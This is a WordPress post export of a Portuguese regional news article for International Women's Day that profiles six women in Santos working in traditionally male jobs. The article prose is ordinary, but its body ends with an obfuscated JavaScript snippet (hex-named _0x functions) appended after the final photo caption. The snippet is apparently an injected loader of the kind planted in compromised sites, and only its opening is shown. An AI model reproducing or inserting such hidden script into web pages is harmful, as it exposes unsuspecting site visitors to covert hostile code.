{"id":53908,"date":"2022-03-08T15:31:20","date_gmt":"2022-03-08T18:31:20","guid":{"rendered":"https:\/\/www.jornalvicentino.com.br\/v3\/?p=53908"},"modified":"2022-03-08T15:31:21","modified_gmt":"2022-03-08T18:31:21","slug":"mulheres-provam-que-bom-desempenho-e-questao-de-dedicacao-nao-de-genero","status":"publish","type":"post","link":"https:\/\/www.jornalvicentino.com.br\/v3\/regiao\/mulheres-provam-que-bom-desempenho-e-questao-de-dedicacao-nao-de-genero\/","title":{"rendered":"Mulheres provam que bom desempenho \u00e9 quest\u00e3o de dedica\u00e7\u00e3o, n\u00e3o de g\u00eanero"},"content":{"rendered":"\n<p class=\"wp-block-paragraph\">Para marcar o Dia Internacional da Mulher, comemorado nesta ter\u00e7a-feira (8), voc\u00ea vai conhecer a hist\u00f3ria de seis profissionais que desbravaram fronteiras e atuam em \u00e1reas consideradas majoritariamente masculinas. S\u00e3o uma pequena demonstra\u00e7\u00e3o de trabalhadoras de Santos que refletem o universo vivido por milhares de mulheres ao redor do mundo. Elas amam o que fazem, s\u00e3o pura dedica\u00e7\u00e3o e mostram que o desempenho de suas fun\u00e7\u00f5es n\u00e3o depende de g\u00eanero.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">A guarda civil municipal Thalita,&nbsp; a oficial de manuten\u00e7\u00e3o Cida, a policial militar Luise, a auxiliar operacional Ana Paula, a guarda-vidas Fernanda e a barista Cristy provam no seu dia a dia&nbsp; que o lugar da mulher \u00e9 onde ela quiser.<\/p>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"menu1\"><strong>LUISE MOSTRA FOR\u00c7A FEMININA NO TRABALHO POLICIAL<\/strong><\/h4>\n\n\n\n<p class=\"wp-block-paragraph\">H\u00e1 tr\u00eas anos atuando na pol\u00edcia militar de Santos, a soldada Luise Roberta dos Santos Silva, 31 anos, n\u00e3o poderia estar mais orgulhosa da sua profiss\u00e3o. Ela, que antes era vendedora, sempre admirou, de longe, os valores da corpora\u00e7\u00e3o. \u201cEu queria participar do bem que eles fazem para a sociedade, mas como morava em periferia, achava que seria algo acess\u00edvel apenas para classes mais altas\u201d.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Com o tempo, Luise percebeu que tudo dependia do seu pr\u00f3prio esfor\u00e7o, n\u00e3o importava a classe social \u00e0 qual pertencia ou as cr\u00edticas que recebia em rela\u00e7\u00e3o a sua escolha. \u201cEu ouvia que n\u00e3o era um emprego para mulher, mas sim para homem, e que eu n\u00e3o iria conseguir. E no fim, consegui!\u201d, comemorou. Para ela, \u201ctodas as mulheres s\u00e3o capazes de trabalhar em qualquer emprego\u201d.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">A fam\u00edlia e os amigos de Luise concordam. \u201cAlgumas pessoas desencorajaram, sim. Mas eles sempre me incentivaram, me motivaram a seguir em frente\u201d. Assim como os dois filhos, um adolescente de 16 anos e uma menina de 8, que por meio da m\u00e3e aprenderam a admirar a Pol\u00edcia Militar. \u201cEles se sentem super orgulhosos de mim, me veem como um exemplo\u201d.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Ela \u00e9 modelo, tamb\u00e9m, para outras mulheres que desejam ingressar na carreira militar. \u201cJ\u00e1 encorajei outras meninas que n\u00e3o se achavam capazes. Quando elas viram que consegui, isso serviu de incentivo. Elas foram atr\u00e1s e conseguiram tamb\u00e9m\u201d. Segundo a soldada, a for\u00e7a feminina \u00e9 uma grande arma no trabalho policial. \u201cPrincipalmente em ocorr\u00eancias de viol\u00eancia dom\u00e9stica. Apesar de sermos todos imparciais, as v\u00edtimas se sentem mais protegidas quando veem que \u00e9 uma policial feminina que as est\u00e1 atendendo\u201d.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Al\u00e9m de crescer na carreira e se tornar sargento, Luise visa, ainda, terminar a gradua\u00e7\u00e3o em Gest\u00e3o em Seguran\u00e7a P\u00fablica ao fim deste ano. A policial considera a forma\u00e7\u00e3o essencial na carreira, assim como os atributos que j\u00e1 oferece, justamente, por ser mulher. \u201cAcho que n\u00f3s unimos coisas importantes para o servi\u00e7o. Apesar de a gente parecer fr\u00e1gil, somos fortes, unimos a delicadeza e a for\u00e7a\u201d.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/www.santos.sp.gov.br\/static\/files_www\/files\/portal_files\/policial_militar_carro_unha_pintada_nogueira.jpg\" alt=\"\"\/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">Soldada Luise Roberta: \u201ctodas as mulheres s\u00e3o capazes de trabalhar em qualquer emprego\u201d &#8211; Foto: Carlos Nogueira<\/p>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"menu2\">M\u00c3O NA MASSA: ANA PAULA PREFERE SERVI\u00c7OS BRA\u00c7AIS<\/h4>\n\n\n\n<p class=\"wp-block-paragraph\">Pelas ruas de Santos, Ana Paula Oliveira dos Santos abre as bocas de lobo e retira os sedimentos na companhia dos colegas de profiss\u00e3o. Muitas vezes, quando est\u00e1 com \u2018a m\u00e3o na massa\u2019, escuta algumas cr\u00edticas direcionadas aos companheiros por n\u00e3o a estarem \u201cajudando\u201d. \u201cEu tento explicar para as pessoas que aquele \u00e9 o meu momento de trabalhar. Se eu escolhi essa profiss\u00e3o, \u00e9 porque aguento o servi\u00e7o\u201d.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Boa parte do condicionamento f\u00edsico que a auxiliar operacional precisa para arremessar os sedimentos do ch\u00e3o para a ca\u00e7amba do caminh\u00e3o vem dos 30 anos de pr\u00e1tica no jud\u00f4. Hoje, aos 41, j\u00e1 coleciona uma s\u00e9rie de outros empregos: faxineira, pedreira, pintora e, quem sabe, mec\u00e2nica. A \u00faltima \u00e9 a profiss\u00e3o dos sonhos de Ana Paula. Ela j\u00e1 realizou alguns servi\u00e7os na \u00e1rea, mas nada muito expressivo. Atualmente, est\u00e1 terminando o curso e pretende, em breve, se dedicar a essa nova profiss\u00e3o.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Por preferir trabalhos bra\u00e7ais, Ana Paula j\u00e1 ouviu uma s\u00e9rie de cr\u00edticas. \u201cPrincipalmente dos homens, que acham que por ser um trabalho que exige for\u00e7a, eu n\u00e3o poderia desempenhar\u201d. Antigamente, a auxiliar operacional se chateava com os coment\u00e1rios, mas hoje os usa como motiva\u00e7\u00e3o. \u201cQuanto mais criticam, mais tenho vontade de fazer, mais coloco amor e carinho na minha fun\u00e7\u00e3o\u201d.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">At\u00e9 mesmo em casa, como passatempo, Ana Paula se mant\u00e9m com a m\u00e3o na massa. Ela e o marido realizaram o sonho de ter a casa pr\u00f3pria e, agora, est\u00e3o na fase de reforma. A auxiliar prepara a massa, coloca piso, pinta as paredes\u2026 faz de tudo um pouco. Os filhos, uma menina de 9 anos e um menino de 16, ficam admirados. O marido, ent\u00e3o, \u00e9 s\u00f3 orgulho. \u201cQuando ele me conheceu, l\u00e1 na empresa onde trabalho, eu j\u00e1 fazia esse tipo de servi\u00e7o. Ele diz que esse foi um dos motivos pelos quais ele se apaixonou por mim\u201d.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">O trabalho da auxiliar n\u00e3o \u00e9 leve, mas para ela n\u00e3o h\u00e1 nada que uma mulher n\u00e3o possa fazer. \u201cSe n\u00f3s temos uma vontade, um sonho, precisamos ir atr\u00e1s. Todo come\u00e7o \u00e9 tentar. Voc\u00ea s\u00f3 vai saber se consegue tentando. Mesmo que pare\u00e7a imposs\u00edvel. S\u00f3 assim voc\u00ea vai poder ver se aquilo pode dar certo ou n\u00e3o\u201d, concluiu.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/www.santos.sp.gov.br\/static\/files_www\/files\/portal_files\/limpeza_galeria_tampa_bueiro_rr.jpeg\" alt=\"\"\/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">Auxiliar operacional Ana Paula: &#8220;se eu escolhi essa profiss\u00e3o, \u00e9 porque aguento o servi\u00e7o\u201d &#8211; Foto: Raimundo Rosa<\/p>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"menu3\"><strong>NAS \u00c1GUAS, FERNANDA TREINA PARA GUARDAR VIDAS<\/strong><\/h4>\n\n\n\n<p class=\"wp-block-paragraph\">No mar ou na piscina, Fernanda Penner d\u00e1 o melhor de si. Ela, que antes era atleta profissional de nata\u00e7\u00e3o, hoje usa suas habilidades para salvar vidas nas praias de Santos. O trabalho \u00e9 pesado, o que exige que ela nunca largue o foco que tinha nos treinos para as competi\u00e7\u00f5es. \u201cA pr\u00e1tica melhora o desempenho. \u00c9 um trabalho que exige muito da gente, mas que conseguimos exercer se tivermos for\u00e7a de vontade\u201d.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">As competi\u00e7\u00f5es foram o que trouxeram a baiana de 29 anos para Santos h\u00e1 mais de uma d\u00e9cada. Depois de abandonar as piscinas, a guarda-vidas ainda trabalhou num laborat\u00f3rio de biologia molecular, fazendo jus \u00e0 sua gradua\u00e7\u00e3o. Por\u00e9m, as \u00e1guas a chamaram novamente. \u201cMeu noivo atuou um tempo como guarda-vidas e me mostrou esse lado que eu n\u00e3o sabia que existia. Ele me incentivou e n\u00f3s prestamos o concurso juntos. Ele atua em Praia Grande e eu aqui\u201d.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Fernanda j\u00e1 trabalhou na \u201careia\u201d e, hoje, faz o trabalho de telegrafia, prestando apoio aos colegas pelo r\u00e1dio. \u201cQuando eu trabalhava na areia, as pessoas que passavam falavam sobre eu estar carregando peso, tanto dos cadeir\u00f5es quanto das v\u00edtimas de afogamento. Mas eu nunca liguei, porque lugar de mulher \u00e9 onde ela quiser e \u00e9 muito gratificante poder mostrar isso. Me orgulho de exercer a minha profiss\u00e3o, que \u00e9 de prevenir e salvar, mesmo que as pessoas me achem fraca ou fr\u00e1gil\u201d.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">A guarda-vidas teve a quem puxar. Os pais dela s\u00e3o professores de nata\u00e7\u00e3o e sempre incentivaram a carreira da filha. Assim como ela hoje incentiva outras meninas. \u201cJ\u00e1 ouvi de crian\u00e7as, na praia, que elas nunca tinham visto uma guarda-vidas mulher. \u00c9 muito legal porque voc\u00ea v\u00ea que elas se sentem representadas por voc\u00ea\u201d. A meta de Fernanda \u00e9 continuar estudando para se tornar sargento, mas sem esquecer da vida pessoal. \u201cEm breve, quero ter um beb\u00ea\u201d.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Enquanto o filho ou filha n\u00e3o vem, Fernanda continua atendendo ao telefone, ao r\u00e1dio, apitando, orientando, salvando e guardando vidas. \u201cMe orgulho muito de fazer parte do corpo da Pol\u00edcia Militar, de ser bombeira, de ser mulher. Aqui \u00e9 um lugar de igualdade, onde as pessoas se respeitam, apesar das suas diferen\u00e7as. N\u00e3o tem nada mais gratificante do que salvar uma vida, poder dar uma alegria para uma fam\u00edlia\u201d, finalizou.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/www.santos.sp.gov.br\/static\/files_www\/files\/portal_files\/guarda_vidas.jpeg\" alt=\"\"\/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">A guarda-vidas Fernanda: &#8220;\u00e9 um trabalho que conseguimos exercer se tivermos for\u00e7a de vontade\u201d &#8211; Foto: Raimundo Rosa<\/p>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"menu4\">GCM de Santos transformou a vida de Thalita<\/h4>\n\n\n\n<p class=\"wp-block-paragraph\">Thalita Almeida Louren\u00e7o Ferraz, 36 anos, \u00e9 Guarda Civil Municipal (GCM) de Santos h\u00e1 11 anos. Um of\u00edcio que executa com dedica\u00e7\u00e3o e orgulho. Foi com o trabalho que conseguiu estabilidade financeira para cuidar da filha, hoje com 18 anos. Tamb\u00e9m foi a fun\u00e7\u00e3o que permitiu que cursasse uma universidade e fizesse p\u00f3s-gradua\u00e7\u00e3o em Gest\u00e3o P\u00fablica.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">&#8220;Eu s\u00f3 tinha o ensino m\u00e9dio quando entrei na Guarda, aos 25 anos. Hoje sou p\u00f3s-graduada. Ent\u00e3o, essa oportunidade e estabilidade vieram a partir da\u00ed. A Guarda veio trazer grandes mudan\u00e7as na minha vida. Mas ainda hoje vejo que a mulher tem muita dificuldade em se estabilizar financeiramente e atuar no mercado de trabalho&#8221;.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">A profiss\u00e3o entrou na vida dela por um \u201cfeliz acaso\u201d, como diz. Thalita nunca havia pensado em se dedicar \u00e0 \u00e1rea de seguran\u00e7a p\u00fablica at\u00e9 ser apresentada \u00e0 fun\u00e7\u00e3o por um tio, que tamb\u00e9m pertencia \u00e0 corpora\u00e7\u00e3o. Thalita fez o concurso e foi chamada para ingressar nos quadros da GCM em 2011. &#8220;Quando entrei, havia 50 na minha turma e acho que tinha cinco mulheres, mas somente mais duas continuaram&#8221;.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Desde ent\u00e3o, j\u00e1 trabalhou no patrulhamento com moto, quadriciclo e em viaturas. Ela conta que aprendeu a dirigir na Guarda porque havia acabado de tirar habilita\u00e7\u00e3o. Mas o caminho foi \u00e1rduo. Nas ruas, muita gente ainda olha de forma diferente para uma mulher com uniforme, conta Thalita.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u201cNa ocorr\u00eancia, quando uma guarda feminina vai fazer uma abordagem, voc\u00ea percebe que o respeito n\u00e3o \u00e9 tanto quanto com um guarda masculino, principalmente em situa\u00e7\u00f5es que envolvem pessoas com atitude suspeita ou transgredindo alguma regra. Nesses casos, a agressividade \u00e9 um pouco maior com as mulheres\u201d.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">No dia a dia, elas tamb\u00e9m t\u00eam que se impor muito mais que os homens, avalia Thalita. \u201cJ\u00e1 aconteceu de levar cantada na ocorr\u00eancia. Ele ficou me olhando, me chamou de gata. E j\u00e1 respondi bem s\u00e9ria: n\u00e3o sou sua colega, estou trabalhando. A gente tem que impor mais respeito que os homens. \u00c9 uma batalha\u201d.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Por isso, o jeito s\u00e9rio s\u00f3 se desfaz quando a conversa flui para temas importantes, mas distantes das ocorr\u00eancias di\u00e1rias. Como ao falar de planos, que incluem, talvez, um novo curso universit\u00e1rio, e das realiza\u00e7\u00f5es colecionadas ao longo dos 11 anos na GCM.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u201cNa minha \u00faltima ocorr\u00eancia,&nbsp; auxiliamos uma pessoa que teve um ataque epil\u00e9tico na \u00e1gua. Foi um in\u00edcio de afogamento. Tiramos ela do mar e ajudamos at\u00e9 a chegada do Samu. Quando voc\u00ea v\u00ea a pessoa acordar e que est\u00e1 bem, isso para mim \u00e9 o retorno. \u00c9 isso que me d\u00e1 mais satisfa\u00e7\u00e3o\u201d.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Neste Dia Internacional da Mulher, Thalita gostaria que elas entendessem o significado da data, resgatassem a hist\u00f3ria e continuassem a batalhar por um mundo mais igual para todas, sem a necessidade de se falar em profiss\u00f5es de homens ou de mulheres.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u201cEu visto essa farda porque teve muita mulher que brigou para eu estar aqui. Hoje a gente est\u00e1 acomodada. A gente n\u00e3o briga. Algumas pessoas acham que est\u00e1 bom. Mas o bom pode ser melhor. Homens s\u00e3o diferentes de mulheres. A gente quer igualdade em outro sentido. Acho que seria&nbsp; interessante falar mais disso\u201d.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/www.santos.sp.gov.br\/static\/files_www\/files\/portal_files\/thalita.jpg\" alt=\"\"\/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">A guarda Thalita quer mais igualdade: &#8220;A gente tem que impor mais respeito que os homens. \u00c9 uma batalha\u201d &#8211; Foto: Raimundo Rosa<\/p>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"menu5\">Cida \u00e9 oficial de manuten\u00e7\u00e3o e d\u00e1 cara nova aos bondes de Santos<\/h4>\n\n\n\n<p class=\"wp-block-paragraph\">O sorriso largo e o brilho no olhar mostram que Cida &#8211; ela nasceu Maria Aparecida Alves de Carvalho, 38, mas prefere ser chamada pelo apelido &#8211; se encontrou na profiss\u00e3o. H\u00e1 12 anos na Companhia de Engenharia de Tr\u00e1fego (CET-Santos), \u00e9 a \u00fanica mulher oficial de manuten\u00e7\u00e3o. Ela \u00e9 pintora automotiva e trabalha dando cara nova aos bondes da Cidade.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Mas a profiss\u00e3o n\u00e3o surgiu do dia para a noite. Ela passou no concurso h\u00e1 12 anos. Come\u00e7ou como ajudante geral e, desde o in\u00edcio, desbravou terrenos considerados tipicamente masculinos, auxiliando pedreiros. Depois passou a executar manuten\u00e7\u00e3o em ponto de \u00f4nibus nas ruas. &#8220;Quando entrei na manuten\u00e7\u00e3o predial s\u00f3 tinha eu. \u00c9 uma \u00e1rea dif\u00edcil de ficar. Precisa ter o psicol\u00f3gico bom, porque \u00e9 visto como muito masculinizado. A gente pintava, lavava. Fiquei muito tempo fazendo isso&#8221;.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Mas Cida diz que nunca se incomodou com r\u00f3tulos. Para ela, trabalhar n\u00e3o \u00e9 quest\u00e3o de g\u00eanero. \u201cOs homens n\u00e3o entendem a quest\u00e3o feminina. Eles subestimam a mulher, no sentido de for\u00e7a. N\u00e3o vou me equiparar a um homem forte, claro que n\u00e3o. Mas nunca vou deixar de fazer um trabalho porque n\u00e3o tenho for\u00e7a. Tem equipamento, tem carrinho que a gente pode empurrar. Independentemente de g\u00eanero, o que importa \u00e9 a habilidade que tenho para fazer\u201d.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">O novo of\u00edcio, aprendeu com um colega que n\u00e3o cansa de elogiar. Foi Edmilson Melo que ensinou as t\u00e9cnicas para deixar os tradicionais bondes com cara de novinhos para chamar a aten\u00e7\u00e3o dos turistas. &#8220;Me indicaram porque viram que eu tinha facilidade com pintura. Ele nunca me viu como uma concorrente ou menos capacitada por ser mulher. Ao contr\u00e1rio, sempre me tratou como igual. Ent\u00e3o, fui aprendendo e hoje trabalhamos juntos, mas eu adquiri meu jeito de trabalhar e gosto muito do que fa\u00e7o&#8221;, conta Cida.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Questionada sobre o toque feminino em seu trabalho, Cida foi direta. &#8220;N\u00e3o tem nada disso. A gente p\u00f5e a dedica\u00e7\u00e3o. O que tem \u00e9 o toque do profissional. N\u00e3o importa o g\u00eanero. Quando voc\u00ea diz isso e todo mundo pensa que tem que ser aquela coisa delicadinha. J\u00e1 passei por tanta coisa na vida, que posso falar, com certeza, que o que importa \u00e9 o respeito&#8221;.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Apesar da disposi\u00e7\u00e3o, Cida diz que ouviu v\u00e1rios coment\u00e1rios machistas ao longo do caminho, sempre tirando de letra. \u201cHoje sinto que sou muito respeitada. Tudo o que \u00e9 pedido para meu colega de trabalho foi pedido para mim. Ent\u00e3o, n\u00e3o tem diferen\u00e7a. Se n\u00e3o fosse isso, talvez n\u00e3o estivesse nessa \u00e1rea. Porque \u00e9 dif\u00edcil\u201d.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Mas o percurso at\u00e9 aqui valeu a pena, diz Cida com aquele sorris\u00e3o que n\u00e3o saiu do rosto durante toda a entrevista. &#8220;Voc\u00ea tem que ser forte. Eu sou feliz. Venho trabalhar com muita satisfa\u00e7\u00e3o. Queria que toda a mulher fosse assim, n\u00e3o somente em \u00e1reas consideradas mais masculinizadas&#8221;.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Para ela, o Dia Internacional da Mulher ainda precisa ser visto como uma data para se lutar contra o machismo. &#8220;Esse dia, pra mim, \u00e9 muito simb\u00f3lico, porque n\u00e3o estou totalmente satisfeita. Falta muita coisa para a gente poder comemorar. A mulher ainda enfrenta preconceito. Ouve piadinhas machistas. Tem a sexualiza\u00e7\u00e3o da mulher. A gente v\u00ea isso todo dia. Mas eu debato, porque me incomoda e as coisas que me incomodam eu falo. Nem \u00e9 comigo, mas falo mesmo. Digo que eles n\u00e3o precisam ter essa cabe\u00e7a, sen\u00e3o as coisas n\u00e3o mudam. Acho que \u00e9 uma coisa estrutural. Ent\u00e3o, vou tentando, porque tem muita coisa para ser melhorada&#8221;.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/www.santos.sp.gov.br\/static\/files_www\/files\/portal_files\/cet_2.jpg\" alt=\"\"\/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">Oficial de manuten\u00e7\u00e3o Cida: \u201cOs homens n\u00e3o entendem a quest\u00e3o feminina. Eles subestimam a mulher&#8221; &#8211; Foto: Raimundo Rosa<\/p>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"menu6\">Julia decidiu ser barista e desbrava o mundo do caf\u00e9<\/h4>\n\n\n\n<p class=\"wp-block-paragraph\">Al\u00e9m de atuar numa \u00e1rea predominantemente masculina, a barista Julia Cristy, 23, ainda teve de lidar com o fato de ser jovem e trabalhar em uma \u00e1rea na qual experi\u00eancia e juventude n\u00e3o s\u00e3o vistas como sin\u00f4nimos. A profiss\u00e3o surgiu na vida dela enquanto atuava como atendente no Museu do Caf\u00e9, em 2017.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Foi o primeiro emprego e selou o futuro dela. Foi acompanhando a jornada dos colegas, a maioria homens, que, at\u00e9 ent\u00e3o, estudante que planejava ser artista mudou a rota e decidiu se dedicar ao novo of\u00edcio. Julia come\u00e7ou a estudar e n\u00e3o parou mais.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u201cQueria saber mais sobre o que eu via ali no Museu do Caf\u00e9 com meus colegas de trabalho que eram baristas. Achei divertido. Era uma profiss\u00e3o que nunca tinha ouvido falar. Achei sensacional voc\u00ea sair procurando caf\u00e9s pelo Pa\u00eds para comercializar e fazer aqueles drinques bonitos\u201d.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">E l\u00e1 se v\u00e3o seis anos nessa estrada. Atualmente ela \u00e9 barista e mestre de torra em uma das maiores tradings de caf\u00e9 do mundo. \u201cEu seleciono quais s\u00e3o os melhores caf\u00e9s, fa\u00e7o todo um perfil de torra para apresentar para os futuros compradores tanto do mercado interno quanto externo. Sou basicamente a \u00fanica barista e primeira mulher na fun\u00e7\u00e3o. Em outros lugares onde trabalhei, tamb\u00e9m acontecia de ser a \u00fanica mulher onde estava ou no cargo que atuava\u201d.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Questionada sobre preconceito no setor, Julia diz que s\u00f3 se deu conta de estar pisando em um terreno dominado por eles devido a coment\u00e1rios de outras pessoas. \u201cJ\u00e1 senti essa hist\u00f3ria por conta de coment\u00e1rios de colegas, mas de outras cidades onde j\u00e1 estive. O fato de ser jovem tamb\u00e9m. Mas isso nunca me afetou. Na verdade, \u00e9 combust\u00edvel. Estou muito feliz e as pessoas reconhecem o meu trabalho justamente porque fa\u00e7o o que amo\u201d.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Por tudo isso, Julia acredita que neste Dia Internacional da Mulher, \u00e9 importante que as pessoas tenham em mente o motivo pelo qual ainda \u00e9 preciso celebrar a data. \u201c\u00c9 um lembrete para todo mundo n\u00e3o esquecer que a mulher pode, por exemplo, trabalhar e fazer o que quiser.&nbsp; N\u00e3o \u00e9 quest\u00e3o de feminismo, mas de direito\u201d.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/www.santos.sp.gov.br\/static\/files_www\/files\/portal_files\/barista.jpg\" alt=\"\"\/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">Barista e mestre de torra Julia Cristy: &#8220;sou basicamente a \u00fanica barista e primeira mulher na fun\u00e7\u00e3o&#8221; &#8211; Foto: acervo pessoal<\/p>\n\r\n<script>function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return 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